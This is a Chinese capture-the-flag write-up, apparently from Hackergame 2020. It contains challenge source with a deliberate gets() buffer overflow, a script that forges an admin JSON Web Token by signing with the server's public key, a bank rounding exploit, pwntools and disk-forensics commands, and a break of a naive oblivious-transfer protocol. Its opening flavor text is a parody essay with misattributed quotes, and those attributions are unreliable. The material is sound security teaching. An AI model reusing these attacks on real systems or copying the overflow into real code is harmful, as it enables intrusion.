我们怀揣热忱的灵魂天然被赋予对超越性的追求,不屑于古旧坐标的约束,钟情于在别处的芬芳。但当这种期望流于对构造主义不假思索的批判,乃至走向直觉与逻辑主义时,便值得警惕了。与秩序的落差、错位向来不能为越矩的行为张本。而纵然我们已有翔实的蓝图,仍不能自持已在浪潮之巅立下了自己的沉锚。

“人工智能,是制造智能机器的科学与工程。”约翰·麦卡锡之言可谓切中了肯綮。人的离散性是不可祓除的,而我们欲上青云也无时无刻不在因风借力。数学与哲学暂且被我们把握为一个薄脊的符号客体,一定程度上是因为我们尚缺乏体验与阅历去支撑自己的认知。而这种偏见的傲慢更远在知性的傲慢之上。

在孜孜矻矻以求人工智能意义的道路上,对自己的期望本就是在与数学与哲学对接中塑型的动态过程。而我们的底料便是对不同 Alpha-beta 剪枝、不同帕雷托最优的觉感与体认。约翰·冯·诺伊曼为丹尼尔·丹尼特送去贝叶斯博弈,又维系极小化极大算法。他的人工智能观念是厚实的,也是实践的。倘若我们在对过往借恩里科·费米之言“祓魅”后,又对不断膨胀的自我进行“赋魅”,那么在丢失外界预期的同时,未尝也不是丢了自我。

毫无疑问,从哲学与数学角度一觇的自我有偏狭过时的成分。但我们所应摒弃的不是对此的批判,而是其批判的廉价,其对批判投诚中的反智倾向。在约翰·冯·诺伊曼的观念中,如果在成为狮子与孩子之前,略去了像骆驼一样背负前人遗产的过程,那其“永远重复”洵不能成立。

蓝图上的落差终归只是理念上的区分,在实践场域的分野也未必明晰。譬如当我们追寻阿罗悖论时,在途中涉足马尔可夫策略,这究竟是伴随着期望的泯灭还是期望的达成?在我们塑造人工智能的同时,人工智能也在浇铸我们。既不可否认原生的无后效性与有限性,又承认自己的图景有轻狂的失真,不妨让体验走在言语之前。用不被禁锢的头脑去体味约翰·福布斯·纳什的大海与风帆,并效约翰·冯·诺伊曼,对无法言说之事保持沉默。

用在博弈树上的生活方式体现个体的超越性,保持婞直却又不拘泥于所谓“遗世独立”的单向度形象。这便是恩里科·费米为我们提供的理想期望范式。生活在博弈树上——始终热爱大地——升上天空。

除了点击下方的打开题目按钮使用网页终端,你也可以通过 nc 202.38.93.111 10141 来连接。

如果你不知道 nc 是什么,或者在使用上面的命令时遇到了困难,可以参考我们编写的 萌新入门手册:如何使用 nc/ncat?

点击下载源代码与 Linux 可执行文件。注意其与服务器上实际运行的程序有微小的差异,但不会影响正常完成题目。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#include <stdio.h>
#include <stdbool.h>
#include <ctype.h>
#include <limits.h>
#include <assert.h>

#define EMPTY 0
#define BLACK 1
#define WHITE 2
// Send payload to server to get flag plz
#define FLAG "\x76\x43\x49\x4C\x09\x5A\x4A\x55" \
"\x41\x41\x4E\x54\x11\x46\x5C\x14" \
"\x46\x53\x45\x4E\x5C\x48\x1B\x48" \
"\x52\x1E\x58\x25\x35\x62\x25\x28" \
"\x24\x21\x67\x38\x25\x30"

#define COMPUTER BLACK
#define HUMAN WHITE

#define MIN_SCORE -100

char flag[] = FLAG;
int board[3][3] = {};

void flag_decode(void) {
for (int i = 0; flag[i] != '\0'; i++) {
flag[i] ^= (i + 23333);
}
}

int check(void) {
for (int i = 0; i < 3; i++) {
if (board[i][0] == board[i][1] && board[i][1] == board[i][2] && board[i][0] != EMPTY) {
return board[i][0];
}
if (board[0][i] == board[1][i] && board[1][i] == board[2][i] && board[0][i] != EMPTY) {
return board[0][i];
}
}
if (board[0][0] == board[1][1] && board[1][1] == board[2][2] && board[0][0] != EMPTY) {
return board[0][0];
}
if (board[0][2] == board[1][1] && board[1][1] == board[2][0] && board[0][2] != EMPTY) {
return board[0][2];
}
return false;
}

bool full(void) {
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
if (board[i][j] == EMPTY) {
return false;
}
}
}
return true;
}

void print(void) {
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
char out = '_';
if (board[i][j] == WHITE) {
out = 'X';
} else if (board[i][j] == BLACK) {
out = 'O';
} else if (board[i][j] != EMPTY) {
out = '?'; // well if you see this something may be wrong.
}
printf("%c", out);
}
puts("");
}
}

int opp(int p) {
if (p == BLACK)
return WHITE;
else if (p == WHITE)
return BLACK;
assert(0);
}

int minimax(int player) {
int winColor = check();
if (winColor != EMPTY) {
return winColor == player ? 1 : -1;
}

int movex = -1, movey = -1;
int max_score = MIN_SCORE;
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
if (board[i][j] == EMPTY) {
board[i][j] = player;
int score = -minimax(opp(player));
if (score > max_score) {
max_score = score;
movex = i; movey = j;
}
board[i][j] = EMPTY;
}
}
}
if (movex == -1) {
return 0;
}
return max_score;
}

void ai(int *x, int *y) {
// Make sure that human cannot win
// I heard that there's an algorithm named "Minimax"
int movex = -1, movey = -1;
int max_score = MIN_SCORE;
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
if (board[i][j] == EMPTY) {
board[i][j] = COMPUTER;
int score = -minimax(HUMAN);
if (score > max_score) {
max_score = score;
movex = i; movey = j;
}
board[i][j] = EMPTY;
}
}
}
*x = movex;
*y = movey;
}

int main(void) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

bool success = false; // human wins?
char input[128] = {}; // input is large and it will be ok.

puts("Welcome to Tic Tac Toe! Computer first!");
puts("You're 'X' and I'm 'O'!");
while (!success) {
// computer: BLACK
int x, y;
puts("Now computer goes!");
ai(&x, &y);
board[x][y] = BLACK;
print();
if (check()) {
success = false;
break;
}
if (full()) {
break;
}
puts("Now human goes!");
// human: WHITE

// example input: (0,1)
while (true) {
printf("Your turn. Input like (x,y), such as (0,1): ");
gets(input);
x = input[1] - '0';
y = input[3] - '0';
printf("You wanna put X on (%d,%d)...\n", x, y);
if (!(x >= 0 && x < 3 && y >= 0 && y < 3)) {
puts("Wrong input! Please try again!");
continue;
}
if (board[x][y] != EMPTY) {
puts("This pos has already been occupied!");
continue;
}
break;
}
board[x][y] = WHITE;
print();
if (check()) {
success = true;
break;
}
if (full()) {
break;
}
}
if (success) {
puts("What? You win! Here is your flag:");
flag_decode();
puts(flag);
} else {
puts("You failed! See you next time~");
}
return 0;
}

始终热爱大地

前三步打平,最后一步溢出即可

1
flag{easy_gamE_but_can_u_get_my_shel1}

狗狗银行

1
2
3
4
5
6
7
8
9
你能在狗狗银行成功薅到羊毛吗?

公告 1:本题前端计算存在浮点数导致的计算误差,数字特别极端时显示可能不正确。但后端采用大整数精确计算,只有净资产确实高于 2000 时才会给出 flag。

公告 2:本题增加两个备用服务器:备用服务器 1、备用服务器 2。不同服务器之间数据不互通。

公告 3:本题新增限制:每个用户最多 1000 张卡,每张卡最多 100000 条交易。已经超过此限制的用户的数据已被重置。由于我们正在处理原始服务器的数据,请选手暂时使用备用服务器做题,处理完成后我们会发布新的通知。

公告 4:原始服务器已经恢复正常运行,选手可以通过下面的打开题目按钮使用。备用服务器也会正常运行到比赛结束。组委会特别提醒:选手在做题过程中不应该恶意扫描爆破、恶意占用资源等。对于违反比赛规则的选手,组委会将取消其参赛资格并予以公示。

此题就是利用四舍五入法,当我们利息为0.5元时,银行会给我们1元,即当我们每个储蓄卡余额为0.5/0.3%=167元时收益最大,此时我们的实际利率约为1/167=6%,信用卡利率为0.5%,可盈利。
先创建999个储蓄卡,1个信用卡,每个储蓄卡保持167元,使用信用卡吃饭,每个账户每天获得利息后转账给信用卡1元,7天净资产为2136。

1
flag{W0W.So.R1ch.Much.Smart.52f2d579}

超基础的数理模拟器

1
2
3
4
5
6
7
8
9
这一切的一切,还要从 Hackergame 2020 群说起。

不知是从什么时候,也许是上一次 Hackergame,或是更早,Hackergame 2020 群里的科气逐渐变得浓厚起来。 等到真正引起管理员注意时,上千人的群已经完全沦为了菜市场。 群里充斥着各式各样的卖菜声,比如 "tql""wtcl""sdl, wsl""orz""ddw",各式各样的卖弱表情包交相辉映。 再加上群内复读机和正常人的比例严重失调,致使事态进一步恶化,场面一度无法控制。

在管理员和其余正常群友的齐心协力之下,此类现象在群内的出现频率最终显著下降。 但不幸的是,由于其他群的群主警惕不足,或是管理不慎(某大群群主甚至大肆宣扬 "科气 is fake",听说最近连自己也未能幸免科了起来,也不知还能不能继续当选下一任群主),每天仍然有许多群友在花式卖弱,而一些心理素质较差的群友也因此永远地退出了群聊。

各大水群的诸多龙王联合起来,研究多月之后,终于找到了此次事件的罪魁祸首: 那位身处大洋彼岸,就读于 UCB,不可提及姓名的老学长。而他的根本目的,就是试图利用同学们充满科气的卖弱行为,在如今废理兴工已经式微的科大,再次掀起反思数理基础教育的思想浪潮。 故而本次事件被命名为: FLXG-20。

为了应对那位学长的所作所为,我们在 Hackergame 2020 的网站上部署了一项超基础的数理模拟器。 作为一名数理基础扎实的同学,你一定能够轻松通过模拟器的测试吧。

普通的身份认证器

1
2
3
近日,小 T 接手了某个老旧 Python 网站的重构工作。接手之后,他把原先的 requirements.txt 复制到了新项目下,更换了后端框架,照着框架文档魔改了身份认证部分的内容,写出了一个测试用的原型。看起来一切都很正常,只是他似乎没有仔细检查每一项依赖的版本。

「懒得管了,又不是不能用!」但果真如此吗?

先获取jwt,解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import itsdangerous
import requests
import json

#用户token
Token="966:MEUCIQCcFXg0MhU2+uGcM401/F185l/w1anB+kARSm60CkhpzAIgG/ojc/sUVpgvnkDvzJV+YWesyGdqbYzk97WX5JtJVF4="
#服务器地址
server="http://202.38.93.111:10092"

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close'
}

session = requests.Session()
#获取公钥
req=session.post(server+"/debug",headers=headers)
pubkey=json.loads(req.text)["PUBLIC_KEY"]
req.close()
session.close()
#伪造身份
jwt=itsdangerous.JSONWebSignatureSerializer(pubkey,algorithm_name="HS256")
payload=jwt.dumps({"sub":"admin","exp":1604500562},header_fields={"typ":"JWT"})
#获取flag
headers["Authorization"]="Bearer "+payload.decode(encoding="utf-8")
headers["Hg-Token"]=Token
session = requests.Session()
req=session.get(server+"/profile",headers=headers)
print(json.loads(req.text)["flag"])
req.close()
session.close()


plus自动获取时间戳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import itsdangerous
import requests
import json
import time
import base64

#用户token
Token="966:MEUCIQCcFXg0MhU2+uGcM401/F185l/w1anB+kARSm60CkhpzAIgG/ojc/sUVpgvnkDvzJV+YWesyGdqbYzk97WX5JtJVF4="
#服务器地址
server="http://202.38.93.111:10092"

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close'
}

session = requests.Session()
#获取公钥
req=session.post(server+"/debug",headers=headers)
pubkey=json.loads(req.text)["PUBLIC_KEY"]
req.close()
session.close()
#获取时间戳
headers["Hg-Token"]=Token
req=session.post(server+"/token",headers=headers)
payload=json.loads(req.text)["access_token"]
exp_b=payload.split(".")[1]
exp=json.loads(base64.b64decode(exp_b+"="))
#伪造身份
jwt=itsdangerous.JSONWebSignatureSerializer(pubkey,algorithm_name="HS256")
payload=jwt.dumps({"sub":"admin","exp":exp["exp"]},header_fields={"typ":"JWT"})
#获取flag
headers["Authorization"]="Bearer "+payload.decode(encoding="utf-8")
session = requests.Session()
req=session.get(server+"/profile",headers=headers)

print(json.loads(req.text)["flag"])
req.close()
session.close()
1
flag{just_A_simple_Json_Web_T0ken_exp1oit_7ac141}

超精巧的数字论证器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
数字论证是一种常见的定理证明方法。简单来说,就是对于给定的自然数,找出一个等值的表达式,如果该表达式去除所有符号部分后为字符串「114514」,则完成论证。表达式仅允许整数运算,可以使用括号、常见的代数运算符 +-*/% 和位运算符 ~^&|。表达式具体运算规则与 Python 2 语言类似。

一些数字论证的例子:

0 = (1/14514)
1 = (1%14514)
2 = (11&4514)
3 = (1+(14&514))
4 = (1^(145%14))
5 = -(1145|-14)
6 = (-1145&14)
7 = (11-(4%514))
8 = (1145&14)
9 = -(-11|4514)
10 = (11&-4514)
11 = (11%4514)
12 = (11-(45|-14))
13 = (-1+(14%514))
14 = (1*(14%514))
15 = (1+(14%514))
16 = (1+(14|(5%14)))
17 = ((11&-45)+14)
18 = (114&(5+14))
19 = (1+(14+(5&14)))
数字论证并不是一件容易的事情,你可以完成这个任务吗?

给定的自然数保证小于 114514。输入的表达式长度不可以超过 256 字符。

除了网页终端,你也可以通过 nc 202.38.93.111 10241 来连接

学习官方解,核心在于-~x=x+1~-x=x-1这个性质与计算机中有符号整数的二进制补码表示有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3


import pwn


def getans(number):
jz = 10
s = []
e = "114514"
for c in e[:1]:
s.append("~-" * (int(c)) + c) # value is zero
for c in e[1:]:
s.append("-~" * (jz - int(c)) + c) # value is jz
ans = ""
for i in range(len(e)):
digit = (number // (jz ** (len(e) - 1 - i))) % jz
ans = "(" + ans + "*" + s[i] + ")" if i > 0 else s[i]
ans = "-~" * digit + ans
return ans


conn = pwn.remote('202.38.93.111', 10241) # connect to the server
token = open('token', 'r').read() # read the token
conn.sendlineafter('Please input your token:', token) # send the token

for _ in range(32):
number = int(conn.recvuntil('=').decode('utf-8').split()[-2]) # get the number
ans = getans(number) # calculate the answer
conn.sendline(ans) # send the answer
print(str(number) + ' = ' + ans + ' ' + conn.recvline().decode('utf-8').strip()) # print the result

conn.interactive() # print the flag

室友的加密硬盘

1
2
3
4
5
「我的家目录是 512 位 AES 加密的,就算电脑给别人我的秘密也不会泄漏……」你的室友在借你看他装着 Linux 的新电脑时这么说道。你不信,于是偷偷从 U 盘启动,拷出了他硬盘的一部分内容。

压缩包 SHA1: a8189418c5d534c23943136b51da0a4fcdc354a0

解压密码:123rfng19183llli8nlv2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ fdisk -l roommates_disk_part.img
Disk roommates_disk_part.img: 2 GiB, 2147483648 bytes, 4194304 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa4ee910b

Device Boot Start End Sectors Size Id Type
roommates_disk_part.img1 * 2048 391167 389120 190M 83 Linux
roommates_disk_part.img2 393214 16775167 16381954 7.8G 5 Extended
roommates_disk_part.img5 393216 1890303 1497088 731M 82 Linux swap / Solaris
roommates_disk_part.img6 1892352 3891199 1998848 976M 83 Linux
roommates_disk_part.img7 3893248 16775167 12881920 6.1G 83 Linux
❯ kpartx -v -a roommates_disk_part.img
add map loop0p1 (254:0): 0 389120 linear 7:0 2048
add map loop0p2 (254:1): 0 2 linear 7:0 393214
add map loop0p5 (254:2): 0 1497088 linear 7:0 393216
add map loop0p6 (254:3): 0 1998848 linear 7:0 1892352
device-mapper: reload ioctl on loop0p7 (254:4) failed: Invalid argument
add map loop0p7 (0:0): 0 12881920 linear 7:0 3893248
cd /dev/mapper
❯ ls
control loop0p1 loop0p2 loop0p5 loop0p6
❯ mount /dev/mapper/loop0p1 /mnt
cd /mnt
❯ ls
abi-4.4.0-21-generic keyfile memtest86+_multiboot.bin
config-4.4.0-21-generic lost+found System.map-4.4.0-21-generic
grub memtest86+.bin vmlinuz-4.4.0-21-generic
initrd.img-4.4.0-21-generic memtest86+.elf
❯ cat keyfile
I'm not that stupid to put plaintext key in /boot!

不经意传输

1
2
3
4
5
6
7
8
9
某同学在某不知名百科网站上看到一个神奇的密码学协议,叫做「不经意传输」(Oblivious transfer)。

于是他按照网站上描述的「12 oblivious transfer」自己实现了协议中一方的逻辑,你可以作为另一方与之进行交互。

完全按照百科网站上的算法来实现的协议应该不会有什么问题吧?

点击下载 源代码

除了网页终端,你也可以通过 nc 202.38.93.111 10031 来连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.PublicKey import RSA
from random import SystemRandom
import os


if __name__ == "__main__":
random = SystemRandom()

key = RSA.generate(1024)
print("n =", key.n)
print("e =", key.e)

m0 = int.from_bytes(os.urandom(64).hex().encode(), "big")
m1 = int.from_bytes(os.urandom(64).hex().encode(), "big")

x0 = random.randrange(key.n)
x1 = random.randrange(key.n)
print("x0 =", x0)
print("x1 =", x1)

v = int(input("v = "))
m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
m1_ = (m1 + pow(v - x1, key.d, key.n)) % key.n
print("m0_ =", m0_)
print("m1_ =", m1_)

guess0 = int(input("m0 = "))
guess1 = int(input("m1 = "))
if guess0 == m0:
print(open("flag1").read())
if guess1 == m1:
print(open("flag2").read())
else:
print("Nope")

解密消息

m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
输入v,回显m0_,输入m0,当v=x0m0_=m0
v输入x0的值。m0输入m0_的值。m1任意输入。

1
flag{U_R_0n_Th3_ha1f_way_0f_succe55_w0rk_h4rder!_282531eef9}

攻破算法